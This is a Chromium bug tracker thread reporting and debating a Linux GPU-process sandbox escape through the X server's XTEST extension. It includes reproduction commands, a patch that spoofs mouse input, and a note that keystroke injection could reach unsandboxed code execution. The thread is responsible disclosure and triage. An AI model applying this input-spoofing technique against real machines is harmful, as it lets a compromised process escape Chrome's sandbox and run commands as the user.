New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 662692 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner:
OOO 2018/11/5 - 2018/11/30
Closed: Jun 7
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux
Pri: 2
Type: Bug-Security



Sign in to add a comment

GPU process sandbox breakout on Linux via XTEST

Reported by jannhorn@googlemail.com, Nov 6 2016

Issue description

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.90 Safari/537.36

Steps to reproduce the problem:
1. Figure out which major X opcode has to be used to use the XTEST extension:

$ strace -s 1024 xdotool mousemove_relative 100 100 2>&1 | grep -A50 '"XTEST"' | grep recvmsg | head -n1
recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"\1\0\10\0\0\0\0\0\1\204\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 4096}], msg_controllen=0, msg_flags=0}, 0) = 32

The tenth byte (here: \204) is the major opcode of XTEST in the currently running
X server.

2. Figure out the PID of the GPU process (Chrome's task manager or `pgrep -f gpu-process`).

3. Determine the file descriptor number(s) used by the GPU process to communicate with Xorg. This requires lsof>=4.89! You might need to run this as root.

# gpuprocpid=$(pgrep -f gpu-process); lsof -p$gpuprocpid +E -U | grep $gpuprocpid | grep ',Xorg' | sed 's|  *| |g' | cut -d' ' -f4
12u
14u

4. Compile the PoC:
# gcc -o test test.c -Wall -std=gnu99

5. Run the PoC. arg1 is the PID of the GPU process, arg2 is the FD number determined using lsof, arg3 is the major opcode of XTEST in octal.
# ./test 1343 12 204
remote mapping at 0x7f002b7f0000

Your cursor should jump around on the screen now.

What is the expected behavior?

What went wrong?
On Linux, when Chrome is running under Xorg, the GPU process has a (trusted)
unix domain socket connection to the X server.
A (trusted) connection to the X server can be used, among other things, to send commands
according to the XTEST Extension Protocol. This protocol can be used to spoof
arbitrary mouse and keyboard input.

Did this work before? N/A 

Chrome version: 54.0.2840.90  Channel: stable
OS Version: 
Flash Version: Shockwave Flash 23.0 r0

While moving the cursor around a bit is mostly harmless, the same mechanism
could also be used to e.g. launch a terminal using a key combination or so
and then write arbitrary commands into it, effectively resulting in unsandboxed
code execution.

test.c mostly consists of code for injecting syscalls into the GPU process.
It injects an mmap() call to create a temporary buffer, then writes X11 commands to
the temporary buffer and sends them via write().
 
test.c
3.7 KB View Download
Cc: jannh@google.com
Labels: Needs-Feedback
This requires running arbitrary code in an unsandboxed process, as the OS-user, yes? If so, then it's outside of Chrome's security model.

Comment 3 by wfh@chromium.org, Nov 8 2016

I think the test code just uses injection to make it easier to be running the PoC from outside the gpu process but sending the calls from GPU...

I think it would be interesting to see the same PoC but running inside the gpu process itself e.g. GpuMain in content/gpu/gpu_main.cc
Components: Internals>GPU>Internals

Comment 5 by jannh@google.com, Nov 8 2016

> I think the test code just uses injection to make it easier to be running the PoC from outside the gpu process but sending the calls from GPU...

Yeah, exactly. I didn't want to have to figure out where in the source code I have to place code to make it run inside the GPU process sandbox (and also didn't want to have to rebuild Chrome), so I injected the syscalls into the sandboxed process externally.

Comment 6 by jannh@google.com, Nov 8 2016

Okay. Just apply this patch:

=====================================================================
jannh@jannh:~/chromium/src$ git diff
diff --git a/content/gpu/gpu_main.cc b/content/gpu/gpu_main.cc
index f8887ce..03b7294 100644
--- a/content/gpu/gpu_main.cc
+++ b/content/gpu/gpu_main.cc
@@ -68,6 +68,8 @@
 #if defined(USE_X11)
 #include "ui/base/x/x11_util.h"     // nogncheck
 #include "ui/gfx/x/x11_switches.h"  // nogncheck
+#include "ui/gfx/x/x11_types.h"
+#include <X11/extensions/XTest.h>
 #endif
 
 #if defined(OS_LINUX)
@@ -283,6 +285,15 @@ int GpuMain(const MainFunctionParams& parameters) {
       nullptr);
 #endif
 
+  Display *dpy = gfx::GetXDisplay();
+  XSynchronize(dpy, True);
+  while (1) {
+    XTestFakeRelativeMotionEvent(dpy, 100, 100, 0);
+    usleep(100000);
+    XTestFakeRelativeMotionEvent(dpy, -100, -100, 0);
+    usleep(100000);
+  }
+
   {
     TRACE_EVENT0("gpu", "Run Message Loop");
     base::RunLoop().Run();
=====================================================================

When you launch Chrome, the cursor should jump around until you kill Chrome / the GPU process.
Cc: e...@chromium.org
Labels: -Needs-Feedback -Via-Wizard-Security Security_Severity-High Security_Impact-Stable
Status: Available (was: Unconfirmed)
Ouch, the nightmare that is the GPU sandbox continues :-( This sounds like it has the potential to be one of those incredibly annoying-to-fix bugs - unless X11 supports some way to give up the ability to make certain types of calls, it sounds like it'd take some pretty horrible out of process filtering to block something like this :-/

erg@, not sure if you are the best person to add here, but hoping you'd at least know who might be familiar how X11 works.

Comment 8 by jannh@google.com, Nov 8 2016

afaik X11 supports some relatively granular configuration - if you're using SELinux policies, which won't work across all distros.

Without SELinux, you can still get into a restricted mode via the X SECURITY protocol extension, but it's not granular at all - iirc all windows that are subject to security restrictions have some kind of access to each other, you can't use the clipboard, you can't use acceleration, I'm not sure whether you can even use shared memory. (This is the mode you get with "ssh -X" on systems where the distro hasn't messed up the ssh config.) Also, getting into this mode is really fragile, so you need to test whether you actually managed to restrict yourself or not. You have to connect to the X server normally, generate an MIT authentication token with restrictions turned on, disconnect, then reconnect with the token. If the token has expired or is invalid for some other reason, authentication falls back to unix domain socket authentication, which, because you're coming from the user's normal UID, grants normal, unrestricted access again. (https://thejh.net/written-stuff/openssh-6.8-xsecurity was a related bug in OpenSSH.)

Comment 9 by jannh@google.com, Nov 8 2016

Since I think you're using at least one of the X sockets for GLX stuff (?), I'm guessing that the normal restricted mode won't work for you and you'll need a broker process. :/

Comment 10 by e...@chromium.org, Nov 8 2016

Cc: kbr@chromium.org piman@chromium.org thomasanderson@chromium.org
+kbr and piman for being gpu wizards who know about X11
+thomasanderson FYI

Cc: jsc...@chromium.org jorgelo@chromium.org jln@chromium.org
Err, yeah, this has always been the case. The GPU process can also create full-screen top-level windows and fake the login screen. All this was a given when we implemented the GPU sandbox.

It is virtually impossible to implement a proper broker for the X connection, because some drivers (e.g. NVIDIA) use a proprietary extension that we do not understand (and is subject to at-will changes).

Comment 12 by kbr@chromium.org, Nov 8 2016

Labels: -Security_Severity-High Security_Severity-Medium
This PoC still requires arbitrary code execution to be achieved in one of Chrome's unsandboxed or less-sandboxed processes. If arbitrary code can be run in the GPU process then the expectation is likely that processes can be spawned at the user's privilege level. It's not clear to me what, if anything, needs to be done in response to this report.

I don't think this warrants high security severity, but I'm not sure what the definitions of the severities are. Downgrading to medium for the time being.

Labels: -Security_Severity-Medium Security_Severity-High
The severity came from these guidelines:

https://www.chromium.org/developers/severity-guidelines

"High severity vulnerabilities allow an attacker to execute code in the context of, or otherwise impersonate other origins. Bugs which would normally be critical severity with unusual mitigating factors may be rated as high severity. For example, sandbox escapes fall into this category as their impact is that of a critical severity bug, but they require the precondition of a compromised renderer."

Even though the Linux GPU process is unfortunately relatively weakly sandboxed, this counts as a sandbox escape - we have seen attacks that get code execution in the GPU process and escape from there.
Project Member

Comment 14 by sheriffbot@chromium.org, Nov 9 2016

Labels: M-54
Project Member

Comment 15 by sheriffbot@chromium.org, Nov 9 2016

Labels: -Pri-2 Pri-1
Owner: kbr@chromium.org
Status: Assigned (was: Available)
kbr, are you the right owner for this bug?

Comment 17 by kbr@chromium.org, Nov 21 2016

Owner: ----
Status: Available (was: Assigned)
I'm not, sorry. The GPU process has elevated capabilities by design, and per piman's comment in #11, it doesn't seem feasible to broker the X11 connection to disallow access to the XTEST extension.

(Next security sheriff signing on)

Based on #11, it seems like there's not that much that can be done here, since this vulnerability is inherent to the design of the GPU sandbox?
#18  Maybe there's something we can do, but not right now.

As we add more Wayland support, we're going to have to come up with a solution to this problem anyway.  The wayland protocol only allows window operations on the client process that created the window, so we're forced to implement some sort of command forwarding.  Maybe once this is done, it will be easier to do the same thing with X11?

Comment 20 by jln@chromium.org, Nov 22 2016

Hey there,

I would like to confirm that this doesn't affect Chrome OS. I'm pretty sure of the answer, but I would like to be 100% sure.

thomasanderson: IIUC, the Linux world will move from X11 towards Wayland anyways. Is that plausible (long-term) future where this problem will be solved?

Is the Chrome OS stack eventually be all Wayland, or is Wayland going to be limited to ARC++?

> I would like to confirm that this doesn't affect Chrome OS. I'm pretty sure of the answer, but I would like to be 100% sure.

AFAIK there aren't any more boards using X11, so it shouldn't affect CrOS

> thomasanderson: IIUC, the Linux world will move from X11 towards Wayland anyways. Is that plausible (long-term) future where
> this problem will be solved?

Even after we have Wayland working, desktop Linux will still need to support X11 for many years after.

> Is the Chrome OS stack eventually be all Wayland, or is Wayland going to be limited to ARC++?

I think CrOS mainly uses drm, can anyone confirm?

Comment 22 by piman@chromium.org, Nov 22 2016

@#21: yes, all Chrome OS boards are Ozone/Freon, i.e. no X11 (it's not Wayland either, just direct drm). They're not explicitly affected by this.
Thanks for the comments everyone. What should the resolution on this be? I'm uncomfortable with removing the security label and restriction, but we really like security bugs to be assigned to someone.
Project Member

Comment 24 by sheriffbot@chromium.org, Dec 2 2016

Labels: -M-54 M-55
Security sheriff checking in -- thomasanderson@, re command forwarding in #19, is this still possible given piman's comment in #11 about proprietary extensions? 

Comment 26 by wfh@chromium.org, Dec 23 2016

Owner: thomasanderson@chromium.org
Status: Assigned (was: Available)
even if this isn't possible right now, this bug should have an owner and some sort of long term plan, be it wayland, command forwarding, or selinux
Project Member

Comment 27 by sheriffbot@chromium.org, Dec 23 2016

thomasanderson: Uh oh! This issue still open and hasn't been updated in the last 30 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: Disable-Nags
Maybe we can do something about this, but I'd like security team's review first (and piman too, if possible).

The X11 connection has 2 parts: 
    client->server for requests
    server->client for events and request-responses
We can have the browser process act as a proxy between the GPU process and the X server that filters bad requests.
For server->GPU communication, the proxy won't filter anything.
For GPU->server communication, the proxy will filter certain major opcodes.  The wire protocol is very simple, just a sequence of requests that all look like this:
| 1 byte major opcode | 1 byte padding | 2 byte request length | optional request data |
We just filter out the requests having major opcodes corresponding to XTEST and XWarpPointer (and XCreateWindow, where the parent is not a chrome-owned window).

It shouldn't matter if Nvidia has a proprietary extension protocol, because we just forward the raw data - unless the extension could be used in exploits.  But I only see 2 nvidia extensions: NV-CONTROL and NV-GLX.  I'm guessing NV-CONTROL is used by the nvidia control panel to change graphical settings?  So maybe a whitelist of only the extensions used by the GPU process is better than a blacklist? (there should only be a handful of them that we use)  If NV-GLX is exploitable, then we're really out of luck on this issue.  piman@ wdyt?

Also, maybe the proxy could be eliminated if we use seccomp-bpf instead?  Security team: is there an easy way to handle all write-type or read-type syscalls together?

Comment 30 by jannh@google.com, Jan 4 2017

> Also, maybe the proxy could be eliminated if we use seccomp-bpf instead?

I don't think so. There are SO_ATTACH_BPF, SO_ATTACH_FILTER and SO_LOCK_FILTER for filtering socket traffic with BPF/eBPF, but to filter traffic in the right direction, these socket options would have to be set on the X server's side of the connection.

seccomp-bpf can only filter arguments that are passed in registers, not buffers that syscall arguments point to.
Project Member

Comment 31 by sheriffbot@chromium.org, Jan 5 2017

Labels: Deadline-Exceeded
We commit ourselves to a 60 day deadline for fixing for high severity vulnerabilities, and have exceeded it here. If you're unable to look into this soon, could you please find another owner or remove yourself so that this gets back into the security triage queue?

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 32 by sheriffbot@chromium.org, Jan 26 2017

Labels: -M-55 M-56
I think filtering the X protocol to disable specific protocol extensions is feasible and shouldn't be too hard, but would add some latency for the extra process hops, on the critical path. It would need to be measured and make sure we would not regress real life performance.

Things like tracking the parent windows becomes very tricky when considering the asynchronicity of the protocol - basically unless we're careful about tracking when the server has received specific operations on the browser connection, we cannot make non-racy decisions about what an operation on the GPU process connection can do. E.g. even though the browser process has sent a CreateWindow request to create a top-level window, that request may still be in the client queue or in the server queue, and a request from the GPU process issued later referencing that browser window (therefore passing a trivial "has the browser issued a CreateWindow for it" test) could get processed by the X server ahead of the CreateWindow from the browser, therefore actually referencing an unknown XID instead of a known one (thinking XID reuse, etc.).
Doing the proper tracking requires digging into the protocol for the browser connection to track X request acks (normally hidden by Xlib/xcb) and sounds fairly invasive / complex, doubly so if we want to ensure the filtering of the GPU process connection does not involve a round trip to the browser UI thread, where those acks are received currently (as it could create deadlocks).
Project Member

Comment 34 by sheriffbot@chromium.org, Mar 10 2017

Labels: -M-56 M-57
Labels: -Security_Severity-High Security_Severity-Medium
Okay, GPU sandbox escalation is medium at worst, because the GPU process doesn't expose attack surface directly to hostile content (a big mitigating factor). So, I'm downgrading the severity as appropriate.

As to the larger question, it reads to me like this is something of a known issue with X. So, it sounds like we might just need to take the hit of disclosing and figure out if we should make the architectural changes necessary to proxy the X protocol, or if there's some other long term solution here.
Project Member

Comment 36 by sheriffbot@chromium.org, Apr 20 2017

Labels: -M-57 M-58
Labels: -Pri-1 -Restrict-View-SecurityTeam -M-58 M-60 Pri-2
Maybe I just didn't see it, but is it known for certain whether or not we can get the GPU process to work with a non-trusted channel to the X server? As for getting into non-trusted mode (Re: #8), couldn't the browser process do the work of getting a non-trusted auth token, and then pass that to the GPU process?

Per #35, de-restricting this Deadline-Exceeded bug. I agree that Medium is the right severity. Pushing to M-60, since 58 is out the door.

Comment 38 by palmer@google.com, May 3 2017

Outside this bug, jannh reminded me about the UID equivalence -> permission granted problem. This bug just might not be fixable? At least until The Year Of Not X On The Linux Desktop. ;)
Project Member

Comment 39 by sheriffbot@chromium.org, Sep 6 2017

Labels: -M-60 M-61
Project Member

Comment 40 by sheriffbot@chromium.org, Oct 18 2017

Labels: -M-61 M-62
Friendly ping from security sheriff. Should we consider either WontFix'ing this or raising the priority?
Project Member

Comment 42 by sheriffbot@chromium.org, Dec 7 2017

Labels: -M-62 M-63
Project Member

Comment 43 by sheriffbot@chromium.org, Jan 25 2018

Labels: -M-63 M-64
Project Member

Comment 44 by sheriffbot@chromium.org, Mar 7 2018

Labels: -M-64 M-65

Comment 45 by e...@chromium.org, Mar 9 2018

Cc: -e...@chromium.org
Un-cc-ing me from all bugs on my final day.
Project Member

Comment 46 by sheriffbot@chromium.org, Apr 19 2018

Labels: -M-65 M-66

Comment 47 by jannh@google.com, Apr 20 2018

Cc: markbrand@google.com
Project Member

Comment 48 by sheriffbot@chromium.org, May 30

Labels: -M-66 M-67
Friendly security sheriff ping, any updates on a fix or WontFix decision?
Status: WontFix (was: Assigned)
I'm closing this issue because there's not really a viable solution.  Creating a bulletproof broker for X11 would add latency for all interaction with the window server, and like piman@ pointed out, it would be difficult to know exactly what to filter because of GPU drivers using proprietary extensions that are subject to at-will changes.

Also, this vulnerability isn't exactly a secret, so I think it could be made public.

Sign in to add a comment